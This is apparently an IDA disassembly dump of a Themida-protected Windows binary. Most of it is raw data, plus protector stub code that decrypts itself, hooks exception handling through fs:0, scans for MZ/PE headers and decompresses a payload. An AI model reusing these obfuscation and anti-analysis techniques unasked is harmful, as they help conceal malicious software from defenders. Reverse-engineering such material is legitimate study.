dd 0FE030400h, 275EF77Fh, 0FE030437h, 52EE957Fh, 8800h
dd 3 dup(0)
dd 2800h, 0F39C2000h, 0FAh, 0Ah dup(0)
dd 56F37A00h, 59A8C700h, 2 dup(0)
dd 561D3C00h, 9E939300h, 0
dd 9E69DD00h, 0
dd 40310A00h, 80h, 8704EB00h, 57h, 2 dup(0)
dd 0AED03600h, 12h dup(0)
dd 571B5D00h, 3520000h, 0
dd 0FFFFFF00h, 0FFh, 2 dup(0)
dd 58A36000h, 2 dup(0)
dd 0FE030400h, 67Fh, 2 dup(0)
dd 191900h, 6 dup(0)
dd 56156500h, 9E8C0A00h, 0FF965C00h, 0E7C486FFh, 5823A277h
dd 0
dd 1BAC00h, 8647DF00h, 74h, 2 dup(0)
dd 0FEF7FF00h, 7Fh, 16h dup(0)
dd 13E800h, 0
dd 571B5D00h, 0
dd 5966CF00h, 2 dup(0)
dd 6B6C00h, 4 dup(0)
dd 0FFFFFF00h, 0FFh, 4 dup(0)
dd 0FE030400h, 60907Fh, 0FE030400h, 7Fh, 2 dup(0)
dd 0E6000000h, 0A8036E77h, 0FFh, 2 dup(0)
dd 0FE030400h, 7Fh, 0FFB79700h, 0FFh, 0
dd 0F52E0F00h, 77h, 40310A00h, 80h, 80h dup(0)
dd 2B341300h, 14h, 2 dup(0)
dd 9D000000h, 4 dup(0)
dd 12FF5400h, 2 dup(0)
dd 0FFFFFF00h, 0FFh, 5B227C00h, 76h, 0D4C96B00h, 77h, 0
db 0
byte_530055 db 3 dup(0) ; DATA XREF: ___:off_42CC84o
; ___:off_42CC9Co
dd 3 dup(0)
dd 0FE010400h, 7Fh, 6 dup(0)
dd 571B5D00h, 58000000h, 2, 8 dup(0)
dd 0F7EB100h, 6Ch, 0Ah dup(0)
dd 6B2E9A00h, 49h, 0
dd 40310A00h, 80h, 2 dup(0)
dd 0FF9B7000h, 0E75CB5FFh, 77h, 2 dup(0)
dd 0FFA11000h, 0FFh, 3 dup(0)
dd 5AF66400h, 2 dup(0)
dd 66D24600h, 0FFh, 0Ch dup(0)
dd 9E69DD00h, 2 dup(0)
dd 56002300h, 0EBA6E900h, 77h, 57099400h, 0E3h, 571BDB00h
dd 9F156800h, 0
dd 581CF400h, 9E6CB000h, 57000000h, 2, 0FD8E8300h, 7Fh
dd 9E939300h, 0E17F3B00h, 5Eh, 0
dd 59184200h, 2 dup(0)
dd 0A8000000h, 531645FFh, 66h dup(0)
dd 1C8E900h, 4 dup(0)
dd 0A5F0200h, 2Bh dup(0)
dd 400E900h, 0
dd 100h, 8 dup(0)
dd 0F51B2B00h, 77h, 0AFh dup(0)
dd 0FF8EEA00h, 0FFh, 2 dup(0)
dd 30DF00h, 0
dd 0FFFFFF00h, 0FFh, 2 dup(0)
dd 0FA090C00h, 7Fh, 55597400h, 86h, 0
dd 100h, 0
dd 568EEA00h, 3 dup(0)
dd 0AC000000h, 3 dup(0)
dd 0ED00AC00h, 0FFh, 9EA00F00h, 4 dup(0)
dd 20E5700h, 49h, 2 dup(0)
dd 7000h, 3 dup(0)
dd 59348C00h, 0
dd 0FB5E200h, 5D4FF58Ah, 7Fh, 0
dd 6B6C00h, 0
dd 100h, 2 dup(0)
dd 0E78B8200h, 77h, 4 dup(0)
dd 0FEFED400h, 9E2BDE7Fh, 0
dd 58AF2400h, 100h, 0
dd 59EBDF00h, 3 dup(0)
dd 0FFFFFC00h, 0FFh, 0
dd 568EEA00h, 0Dh dup(0)
dd 0A9711600h, 0FFh, 2 dup(0)
dd 1FCFC00h, 80h, 8 dup(0)
dd 6B6C00h, 3 dup(0)
dd 585CCC00h, 9E69DD00h, 2 dup(0)
dd 2BC5F300h, 0D6h, 948D8D00h, 57h, 0
dd 0FE030400h, 585C937Fh, 0
dd 0FFA34000h, 0FFh, 2 dup(0)
dd 4BABD200h, 80h, 0A4A1A500h, 7Fh, 7 dup(0)
dd 1F55BF00h, 52h, 0
dd 12FF5400h, 0
dd 9EA00F00h, 4 dup(0)
dd 0D4000000h, 77h, 0Bh dup(0)
dd 20E5700h, 49h, 6 dup(0)
dd 0A5E11E00h, 0FFh, 0
dd 9E69DD00h, 2 dup(0)
dd 400h, 8 dup(0)
dd 2EFFB000h, 9F23E802h, 4 dup(0)
dd 2B0E900h, 0
dd 0A800h, 3 dup(0)
dd 9FE8B600h, 0
dd 1FCB2300h, 4Fh, 0Bh dup(0)
dd 9EA00F00h, 0
dd 0FE030400h, 9E3E3B7Fh, 2 dup(0)
dd 5965C300h, 3 dup(0)
dd 561AC900h, 0E7A83700h, 77h, 0
dd 0FE030400h, 52E47Fh, 2 dup(0)
dd 585C9300h, 56A74F00h, 0D4C96A00h, 77h, 2B341300h, 14h
dd 0
dd 0E805D800h, 0FFAFF477h, 7Fh, 12FFE000h, 8 dup(0)
dd 0F7EBB300h, 0F34E5977h, 0FFh, 2 dup(0)
dd 0DD189A00h, 9D000077h, 5 dup(0)
dd 40310A00h, 80h, 0E82FE800h, 77h, 0
dd 9D317C00h, 68h, 400h, 2 dup(0)
dd 6B6C00h, 4 dup(0)
dd 40100000h, 4 dup(0)
dd 9E69DD00h, 4 dup(0)
dd 100h, 0
dd 0FEFEBC00h, 0FFh, 0
dd 200000h, 40310A00h, 80h, 0
dd 0F4464200h, 0D9h, 0A38EE200h, 62h, 4 dup(0)
dd 9E8C0A00h, 0Eh dup(0)
dd 0C530DF00h, 0A9h, 4 dup(0)
dd 570B7000h, 0
dd 0FE030400h, 0FFFE887Fh, 0FFh, 56002300h, 2 dup(0)
dd 22222200h, 22222222h, 22h, 0
dd 57F73D00h, 5 dup(0)
dd 9E09F700h, 0
dd 9EA00F00h, 2 dup(0)
dd 0FF965C00h, 0FFh, 0
dd offset dword_5AEB00
dd 0
dd 581A7600h, 0DD59F000h, 77h, 3 dup(0)
dd 400E900h, 58056200h, 2 dup(0)
dd 5800h, 2 dup(0)
dd 5A1E4C00h, 0Ah dup(0)
dd 52F6B500h, 5 dup(0)
dd 200h, 3 dup(0)
dd 0A8E4A300h, 4F7BE5FFh, 61h, 4 dup(0)
dd 0D3EEDB00h, 80FEh, 0
dd 53164500h, 3 dup(0)
dd 0C70000h, 0
dd 6D9300h, 0
dd 0FF7FFE00h, 9E9C3700h, 6 dup(0)
dd 6B6C00h, 4 dup(0)
dd 0A2999500h, 7400h, 4 dup(0)
dd 5A000000h, 2, 9 dup(0)
dd 67151800h, 7Ch, 6 dup(0)
dd 20EE900h, 3 dup(0)
dd 89189100h, 2, 40310A00h, 80h, 2 dup(0)
dd 12FF5400h, 0
dd 568CE800h, 3 dup(0)
dd 0DD23D700h, 99692F77h, 0CBh, 0Ah dup(0)
dd 12FEF000h, 2 dup(0)
dd 24242400h, 24h, 2 dup(0)
dd 0B41B4000h, 0EA81376h, 45h, 3 dup(0)
dd 0B800h, 3 dup(0)
dd 0C70000h, 6 dup(0)
dd 9E24DC00h, 43h, 2 dup(0)
dd 1B200000h, 0FCh, 9 dup(0)
dd 40310A00h, 80h, 1Dh dup(0)
dd 9D000000h, 0ED00AC00h, 0FFh, 12FFC400h, 4 dup(0)
dd 9C00h, 0
dd 0EA5DCA00h, 58AD6F77h, 0
dd 0A000000h, 0E8216864h, 77h, 5 dup(0)
dd 6BDC00h, 7D8EA500h, 9, 4 dup(0)
dd 11111100h, 11h, 0
dd 400h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_530FE9: ; CODE XREF: start:loc_52DCF8j
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 61F32FBh
mov [ebp+61F327Dh], edx
mov [ebp+61F1245h], esi
mov [ebp+61F0765h], eax
cmp dword ptr [ebp+61F1FB1h], 0
jz short loc_531021
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_531021: ; CODE XREF: start+5DFFFj
mov eax, [esp+40h+var_1C]
mov [ebp+61F2101h], eax
push 45h
call sub_5310D5
push 783749Ah
call sub_53111B
push 0A894B25h
call sub_53111B
jmp loc_53125F
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 45h
dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5310D5 proc near ; CODE XREF: start+5E019p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 61F33E9h
mov ebx, edx
mov [ebp+var_28], 0
loc_5310F1: ; CODE XREF: sub_5310D5+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_531110
mov eax, [ebp+arg_0]
mov [ebx+61F3353h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_5310F1
; ---------------------------------------------------------------------------
loc_531110: ; CODE XREF: sub_5310D5+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_5310D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53111B proc near ; CODE XREF: start+5E023p start+5E02Dp
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 61F3432h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_531141: ; CODE XREF: sub_53111B+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_531141
mov [ebp+var_84], 0
lea edi, [edx+61F3353h]
lea esi, [ebp+var_80]
loc_531171: ; CODE XREF: sub_53111B+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_53117D: ; CODE XREF: sub_53111B+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_53117D
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_531171
popa
leave
retn 4
sub_53111B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_5311BB
; ---------------------------------------------------------------------------
loc_5311B7: ; CODE XREF: Themida_:005311BEj
inc dword ptr [ebp-4]
inc esi
loc_5311BB: ; CODE XREF: Themida_:005311B5j
cmp byte ptr [esi], 0
jnz short loc_5311B7
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_53124C
; ---------------------------------------------------------------------------
loc_5311CD: ; CODE XREF: Themida_:0053124Fj
mov dword ptr [ebp-8], 0
jmp short loc_531243
; ---------------------------------------------------------------------------
loc_5311D6: ; CODE XREF: Themida_:00531247j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_531230
; ---------------------------------------------------------------------------
loc_5311E6: ; CODE XREF: Themida_:00531234j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_531208
cmp bl, 39h
ja short loc_531208
sub bl, 30h
jmp short loc_53122A
; ---------------------------------------------------------------------------
loc_531208: ; CODE XREF: Themida_:005311FCj
; Themida_:00531201j
cmp bl, 61h
jb short loc_53121A
cmp bl, 66h
ja short loc_53121A
sub bl, 61h
add bl, 0Ah
jmp short loc_53122A
; ---------------------------------------------------------------------------
loc_53121A: ; CODE XREF: Themida_:0053120Bj
; Themida_:00531210j
cmp bl, 41h
jb short loc_53122A
cmp bl, 46h
ja short loc_53122A
sub bl, 41h
add bl, 0Ah
loc_53122A: ; CODE XREF: Themida_:00531206j
; Themida_:00531218j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_531230: ; CODE XREF: Themida_:005311E4j
cmp dword ptr [ebp-0Ch], 2
jb short loc_5311E6
cmp dword ptr [ebp-10h], 0
jbe short loc_531240
mov eax, [ebp-10h]
stosb
loc_531240: ; CODE XREF: Themida_:0053123Aj
inc dword ptr [ebp-8]
loc_531243: ; CODE XREF: Themida_:005311D4j
cmp dword ptr [ebp-8], 2
jb short loc_5311D6
add edx, 4
loc_53124C: ; CODE XREF: Themida_:005311CBj
cmp edx, [ebp-4]
jb loc_5311CD
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53125F: ; CODE XREF: start+5E032j
mov ecx, 7000h
lea edi, [ebp+61F3578h]
loc_53126A: ; CODE XREF: start+5E25Aj
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_53126A
mov eax, 48692121h
mov edx, 0F00D3000h
sub edx, 0F0000000h
lea eax, [ebp+61F3695h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sbb ebx, 6E584BF7h
mov bl, 73h
push 0
push edx
call sub_5312AE
and [edx-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_5312AE proc near ; CODE XREF: start+5E292p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5312AE endp
; ---------------------------------------------------------------------------
aKJ db 'k+Âj',0
db 53h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0E9896A00h, 11h, 68CC3FE2h, 778C3536h, 0EA1979E0h, 1C12FF7h
dd 0F0002569h, 0C381FFFFh, 21A2A655h, 0FF33CA8Bh, 4D388166h
dd 0F0E755Ah, 33C50B7h, 503A81D0h, 74000045h, 10002D08h
dd 0EB470000h, 58F64E3h, 0
dd 8D04C483h, 1F36A895h, 0FF645206h, 35h, 25896400h, 0
dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh
dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh
dd 0EB447400h, 58F64E8h, 0
dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
dd 244C8B51h, 0E85510h, 5D000000h, 36B3ED81h, 858D061Fh
dd 61F3671h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
dd 800F04C4h, 2, 8C6607B3h, 2840FD9h, 0B3000000h, 80F88AE1h
dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 50DB32C3h, 0CB81D1B4h, 53CD1A04h, 11E9h
dd 0D2D8D500h, 0E6AD53B9h, 74CE5304h, 4E0BD00Fh, 0C90A8E4Dh
dd 2A850Fh, 0C1BB0000h, 0C72EF00Fh, 1F0EF585h, 106h, 0BB666000h
dd 0E961C896h, 1Dh, 0BE9h, 1595700h, 3A39FAD1h, 0B58F680Bh
dd 0EF585C7h, 61Fh, 0BF0F0000h, 0D98589D9h, 0BB061F20h
dd 438AA177h, 32718589h, 10E8061Fh, 0E3000000h, 24E6CDFFh
dd 444E1026h, 0CE8D6692h, 60659A4Eh, 14E9FD8Ah, 17000000h
dd 0F091BEF0h, 699AFA68h, 11B98074h, 0C84370Fh, 6195B8CAh
dd 0C181F959h, 64E7h, 0CE9h, 0F15F6900h, 0A23ED0DCh, 0D844BC02h
dd 0E0BEBE8Bh, 0EE815262h, 5262C7B7h, 8B6631FFh, 0F9605AD9h
dd 0BB66F860h, 61614E6Ah, 0F6FBC281h, 0B70F39B7h, 67F281FEh
dd 8120872Dh, 0C6212FC2h, 0FE908h, 57220000h, 0EDABF335h
dd 898E9666h, 19CBF3D5h, 80118904h, 0E983CBDFh, 2810F01h
dd 8B000000h, 494949FEh, 6840F60h, 0F000000h, 81h, 6E900h
dd 0A13E0000h, 604A628Eh, 1EE8361h, 0FF92850Fh, 5E8FFFFh
dd 17000000h, 6EC387DBh, 32F78166h, 7E8587Ch, 0DC000000h
dd 4D6C90CBh, 860F23D4h, 2, 0E95AF2B7h, 13h, 0CC7649B8h
dd 0C82AF691h, 6D636DBh, 5A948756h, 81B373EBh, 63ACC2h
dd 8A0F00h, 0BF000000h, 18B6h, 38A0Fh, 0D3800000h, 66028B89h
dd 38A6D981h, 0CEC0C081h, 81664644h, 8175CDD1h, 1AA4DDE8h
dd 1F5CBE4Ch, 0F0810A64h, 2C7747F7h, 0E90289F5h, 0Fh, 0ED5A6E3Ah
dd 0FD3AA3DFh, 8F60A666h, 81B3FE3Dh, 9CB0F2EAh, 0BAB96652h
dd 0EEC28171h, 0F529CB0h, 58Dh, 8B665000h, 0EF8359CEh
dd 21850F01h, 0F000000h, 28Ah, 0E9D6B500h, 2Bh, 6507EBEEh
dd 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh, 1B5DD681h
dd 76E90D7Fh, 5DFFFFFFh, 1EC18223h, 966262B6h, 0E96A1B22h
dd 750h, 15ED8060h, 61E4C381h, 176112AEh, 2, 68D0F00h
dd 89000000h, 1F0A4D95h, 820F6006h, 6, 10159589h, 8A0F061Fh
dd 6, 2CB18D89h, 0C02B061Fh, 19820F60h, 0E9000000h, 14h
dd 7428EBD9h, 0B1064BF1h, 0CA5CB57Ch, 0DBE3E7E8h, 0C66D62C3h
dd 13418D8Bh, 0F61061Fh, 688h, 3D8D3100h, 8B061F10h, 89282454h
dd 1F2C2185h, 6D858906h, 89061F10h, 1F1E05BDh, 3CBE06h
dd 9D890000h, 61F02E9h, 24247403h, 0B5952B60h, 66061F0Fh
dd 0FB8DC181h, 0CD958961h, 66061F2Ah, 8E9ADh, 18F10000h
dd 8E456AE4h, 4403503Eh, 9D292424h, 61F0D39h, 0A2B26050h
dd 8961DA8Bh, 8E92404h, 0A9000000h, 0DB5CF494h, 8BAF3B2Ah
dd 66607840h, 8166DE8Bh, 618BA0F2h, 0FE9h, 89CAFF00h, 0C4A66C9h
dd 0DFA61F50h, 9169F162h, 28244403h, 11E9h, 4A60200h, 0A2F76793h
dd 59E36D41h, 2E0ED305h, 408B69CEh, 89BD2918h, 0E9061F24h
dd 0Eh, 740C2E5Ch, 94CBC005h, 68151E3Eh, 0F4004E9h, 681h
dd 0B58D8900h, 89061F1Dh, 1F393B85h, 10E906h, 1C520000h
dd 0FE81BAB1h, 0B2E94E2Fh, 1525EACh, 0E9581214h, 10h, 0BA12D944h
dd 0B5AA0CE4h, 0BB880B1Ah, 54D3EBFAh, 8978708Bh, 1F170995h
dd 1CC68306h, 247403F8h, 0BD8DFC24h, 61F2495h, 5DB58B60h
dd 66061F08h, 611D32BEh, 758589ADh, 3061F06h, 0FC242444h
dd 0CE9ABh, 0A14E0000h, 68524FFEh, 6476914Ch, 0BD8D504Eh
dd 61F2CE5h, 0B5016060h, 61F1A3Dh, 0B1616160h, 0FAD61EDh
dd 688h, 3D9D8900h, 3061F1Fh, 29242444h, 1F31C9BDh, 0F609006h
dd 87h, 0D88B6600h, 52505061h, 188E0Fh, 13E90000h, 0E1000000h
dd 0D794C217h, 3628ADF5h, 1C6F5h, 4DA24BBDh, 310FC73Ah
dd 8E9h, 0A579D400h, 24692AF1h, 90585A23h, 9C90BB60h, 816642C1h
dd 61165FD7h, 14E9ABh, 2130000h, 8D55A283h, 0F599583Bh
dd 0BEB437BFh, 7D5E50Dh, 5E9DB3Fh, 25000000h, 0A710F5B0h
dd 1599BD8Dh, 0ADF5061Fh, 0FE9h, 4EF91C00h, 0A08D7853h
dd 8F7C2357h, 76D9B019h, 28244403h, 1B890Fh, 0F600000h
dd 87h, 0EE900h, 22D0000h, 0F3C8B28Dh, 5D1B24Ch, 1183871Bh
dd 0AE9AB61h, 0B000000h, 0C885156Dh, 0CD25471Ch, 0E9605E24h
dd 8, 0C5384C41h, 0B48E1B06h, 8F0Fh, 0FF610000h, 1F393B8Dh
dd 3BBD8306h, 61F39h, 44C71075h, 1C24h, 0B58D0000h, 61F3E4Dh
dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 1F202585h, 74C08406h
dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h
dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh
dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
dd 0C6835E0Fh, 6D85FF04h, 0E9061F10h, 0FFFFFF6Fh, 0A995015Eh
dd 60061F10h, 1725BD29h, 0F081061Fh, 1D787B41h, 6D858B61h
dd 89061F10h, 1F0C59B5h, 0FE0D106h, 185h, 8503FC00h, 61F1599h
dd 165B589h, 8E0F061Fh, 1, 0BEFCh, 96F80000h, 0BE9h, 10296600h
dd 0CDB944CBh, 3728F4F0h, 0E9F9AD66h, 11h, 0AE877A4h, 0C0AFB946h
dd 0C3EC74D5h, 0AC6A75FDh, 2E0C176h, 0D8C0Fh, 89600000h
dd 1F1881BDh, 0B223B806h, 3615F4Ch, 1F249585h, 0BF666006h
dd 0BF0F7CB0h, 8D0161C2h, 61F2685h, 0C8A0F96h, 0F000000h
dd 684h, 800F00h, 0AD000000h, 20A99509h, 8B0F061Fh, 6
dd 9ED9501h, 4C8B061Fh, 3FC2424h, 0E9242444h, 0Dh, 7D66C229h
dd 7E8878A8h, 8155CE82h, 6E9C7h, 126B0000h, 4A6E2A64h
dd 1C244489h, 8EDBD89h, 0B589061Fh, 61F1221h, 0B5896096h
dd 61F0A59h, 8E9h, 0F4AC5000h, 41DAC5B4h, 0E9AC61F5h, 0Bh
dd 7F47D9Ah, 0AA97124h, 32F5924Dh, 1BD89C9h, 0FE061F2Eh
dd 19880FC1h, 0F000000h, 138Bh, 0EE900h, 0F0C80000h, 171E7039h
dd 9E5D6819h, 97E25488h, 0C8D9D29h, 0D0D0061Fh, 8F830Fh
dd 0B5890000h, 61F2351h, 830FD0D0h, 81h, 0D0D0F5FCh, 77820Fh
dd 0D0F90000h, 6E820FD0h, 0F5000000h, 0BE9h, 3F9EEA00h
dd 48D9AAA8h, 0C27CA811h, 890FC9FEh, 0FFFFFFBEh, 0CDBD3160h
dd 89061F02h, 1F146195h, 0C4836106h, 81F96020h, 177AA9DFh
dd 44C76110h, 0FC24h, 0BD890000h, 61F0E85h, 18BDB589h
dd 1B8061Fh, 89000000h, 1F0B8D8Dh, 108D8D06h, 60061F71h
dd 2BD5B589h, 0B589061Fh, 61F0B25h, 9E1FF61h, 1F09C585h
dd 2585C606h, 61F20h, 55850160h, 0F061F07h, 6161C1BFh
dd 1A818D31h, 8C2061Fh, 13E9F900h, 6C000000h, 0DDCCE273h
dd 48E7A7ABh, 56BB54DFh, 578211E2h, 50500895h, 6850F52h
dd 0F000000h, 8Dh
dd 0E9310F00h, 10h, 0CB2411ACh, 0F60AF8D8h, 6D881DDDh
dd 3656A724h, 3489585Ah, 0D9816024h, 4785C10Ch, 2A25B503h
dd 8961061Fh, 1F4050B5h, 0BF0F6006h, 870F51F6h, 0
dd 8D89615Fh, 61F406Ch, 1BB58DF8h, 60061F3Fh, 1CE681F9h
dd 61410CA9h, 7E35858Dh, 9D89005Bh, 61F02EDh, 0B260D0FFh
dd 8A0F56B1h, 0
dd 0F5E615Ah, 184h, 0E9C3F500h, 0Fh, 401FDA83h, 56182393h
dd 0AC80E1D1h, 8BA5C844h, 1F4050B5h, 0D59D8906h, 8B061F1Bh
dd 1F406C8Dh, 870FFC06h, 0Ch, 68D0Fh, 95090000h, 61F1FEDh
dd 0B8h, 10E900h, 0B9960000h, 0BE4C9FDFh, 39203155h, 2E337FC0h
dd 0D98B9A59h, 0B55BD89h, 0C6E9061Fh, 29000000h, 1F02E9BDh
dd 29263206h, 1F07718Dh, 8902B206h, 1F0CF9B5h, 77E906h
dd 8D290000h, 61F1C51h, 89C232F9h, 1F1449BDh, 1D7A0506h
dd 8B608A75h, 1F2DB9B5h, 6830F06h, 29000000h, 1F2F7DBDh
dd 0CC8A6106h, 13E9h, 94300000h, 6676D30Dh, 44CB1029h
dd 0F4F0CDB9h, 0F3A73728h, 0B589C8D3h, 61F32BDh, 0D1084235h
dd 81850998h, 60061F11h, 1031958Bh, 0BF0F061Fh, 0CAFE61F3h
dd 0E1858B60h, 0E9061F1Dh, 8, 93501008h, 1EFD6233h, 0FD20A61h
dd 0FFFF8885h, 8E9FFh, 666C0000h, 0D7A7DBF7h, 0E94B63EEh
dd 6, 0C61ABE8Bh, 8D898678h, 61F1D41h, 6830F46h, 89000000h
dd 1F1BB195h, 0FDB0B06h, 0FFFF3885h, 9E9FFh, 0DA340000h
dd 8DC89CBAh, 0CFE634F0h, 2AFDB589h, 9D29061Fh, 61F14FDh
dd 0BD010000h, 61F158Dh, 8C0F0000h, 0Ch, 68D0Fh, 830F0000h
dd 0
dd 5E90000h, 0B2000000h, 0D775489Dh, 0BD890000h, 61F2B01h
dd 394D858Dh, 12E9061Fh, 0A7000000h, 0A9C47159h, 835EAE7h
dd 580D03E2h, 8B79822Bh, 0D58589F6h, 89061F24h, 1F007DB5h
dd 82858D06h, 60061F3Eh, 2CFD9D8Bh, 9D89061Fh, 61F1AE1h
dd 75858961h, 0EB061F14h, 14h, 3 dup(0)
dd 8800h, 91858D00h, 89061F41h, 1F189D85h, 0D1BD8306h
dd 61F40h, 123840Fh, 85C60000h, 61F2025h, 5F9E6856h, 48185F9h
dd 260D9B24h, 0D9B5FF4Eh, 8D061F20h, 1F394D85h, 89D0FF06h
dd 1F40C585h, 2585C606h, 56061F20h, 40DDAB68h, 243481D1h
dd 4DE865F9h, 20D9B5FFh, 858D061Fh, 61F394Dh, 8589D0FFh
dd 61F40C9h, 4E8046Ah, 0
dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 1F40D585h
dd 1F40506h, 0E0C10000h, 4895002h, 0FF006A24h, 1F40C995h
dd 0CD858906h, 8B061F40h, 0FFFFB8D8h, 95FFFFFFh, 61F189Dh
dd 95FFC38Bh, 61F189Dh, 84E9h, 0D1BD8300h, 61F40h, 1850Fh
dd 57C30000h, 40CDBD8Bh, 83AB061Fh, 1F40CD85h, 0C35F0406h
dd 40D1BD83h, 0F00061Fh, 185h, 8360C300h, 1F40CDADh, 9D8B0406h
dd 61F40CDh, 0FFFC7B83h, 1D850Fh, 0AF680000h, 81B5E42Eh
dd 51512404h, 6A4A1Ch, 95FF33FFh, 61F40C5h, 1DE9C361h
dd 68000000h, 3F48AC38h, 38243481h, 6A3F482Ch, 0FF33FF00h
dd 1F40C595h, 0CDAD8306h, 4061F40h, 0FFFFB1E9h, 0ADE948FFh
dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h
dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h
dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h
dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h
dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h
dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh
dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h
dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h
dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h
dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
dd 43360000h, 5205A4A1h, 76412BEDh, 0D00AE4FBh, 7E544CABh
dd 7E3E868h, 0D202ADDFh, 4523DF7Bh, 656B637Bh, 100EA9A1h
dd 615323E1h, 0C21BB7A9h, 355B09ACh, 0D938B07h, 0D31FB9D5h
dd 45238D77h, 66646579h, 1014A9A1h, 7E493EFEh, 0DC07A9A9h
dd 3B4F1EB7h, 41A7E86Ch, 0C21FBDC2h, 0B22DF3Ah, 7070656Ch
